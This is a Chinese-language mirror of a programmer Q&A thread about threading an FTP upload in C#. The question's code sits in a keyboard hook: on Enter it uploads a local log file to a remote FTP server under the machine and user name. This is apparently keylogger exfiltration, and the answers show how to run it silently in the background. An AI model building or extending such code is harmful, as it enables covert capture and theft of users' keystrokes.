线程FTP上传c#

时间:2013-05-01 00:36:18

标签: c# multithreading upload ftp backgroundworker

我无法弄清楚如何线程化我的FTP上传脚本。我试图让它从C#控制台应用程序上传。我不喜欢它在上传时冻结应用程序的事实。我听说过使用"背景工作者"但我完全不知道如何设置它......我已经找了一段时间。能给我举个例子?感谢。

if ((Keys)vkCode == Keys.Enter)
{
                        //~~~ Enter Key pressed ~~~ //
                            string ftpsrc = Application.StartupPath + @"/logs/log.txt";
                            FtpWebRequest request2 = (FtpWebRequest)WebRequest.Create("ftp://server.com" + System.Environment.MachineName + "___" + System.Environment.UserName + @"/" + "log.txt");
                                    request2.Method = WebRequestMethods.Ftp.UploadFile;
                                    request2.Credentials = new NetworkCredential("username", "password");
                                    StreamReader sourceStream2 = new StreamReader(ftpsrc);
                                    byte[] fileContents2 = Encoding.UTF8.GetBytes(sourceStream2.ReadToEnd());
                                    sourceStream2.Close();
                                    request2.ContentLength = fileContents2.Length;
                                    Stream requestStream2 = request2.GetRequestStream();
                                    requestStream2.Write(fileContents2, 0, fileContents2.Length);
                                    requestStream2.Close();
                                    FtpWebResponse response2 = (FtpWebResponse)request2.GetResponse();
                                    response2.Close();


                            //~~~ End Enter Key ~~~//
                        }

2 个答案:

答案 0 :(得分:3)

这样做的一个非常简单的方法是使用像BackgroundWorker这样的东西,它可以让你访问诸如进度事件以及控制执行之类的东西。此方法允许您使UI线程完全独​​立于FTP上载的逻辑。这意味着无论上传时间过长,您的UI都会响应。

现在多线程实际上传是另一回事。如果这就是你所需要的,它将需要将消息分成相同的部分,并在FTP端重新组装部件,但这也意味着编写自定义的ftp服务器。

在这里查看有关BackgroundWorker是什么以及如何使用它的完整说明: http://msdn.microsoft.com/en-us/library/system.componentmodel.backgroundworker.aspx

EDIT ::

好的,回答有关如何设置backgroundworker在enter键上执行的评论中的问题。看看上面的文档,了解一般如何使用backgroundworker的要点。

您可能希望使用您设置的后台工作程序的RunWorkerAsync()方法更改当前的密钥挂钩。 BackgroundWorker的DoWork方法应该是您当前在密钥钩中的方法。

    BG.DoWork += YourUploadFunction();

    if ((Keys)vkCode == Keys.Enter)
    {
         //~~~ Enter Key pressed ~~~ //
         BG.RunWorkerAsync();
    }

初始化BackgroundWorker执行此操作:

    BackgroundWorker BG = new BackgroundWorker();
    BG.DoWork += new DoWorkEventHandler(BG_DoWork);

DoWorkEventHandler允许新的处理程序控制BG将执行的功能。这方面的一个例子是:

    private void BG_DoWork(object sender, DoWorkEventArgs e)
    {   
         YourUploadFunctions();
    }

但是,您只需要对BackgroundWorker进行一次初始化,这样就不会有多个实例。此外,一旦设置了DoWork事件,就不需要再次执行。 `

答案 1 :(得分:0)

BackgroundWorkers对此非常有用,另一个选项是Task类。你可以在这里阅读Task Class 。有一个如何在页面上实现它的例子。另外,根据您编写的.net框架的版本,您还可以查看此处显示的Async和Await async await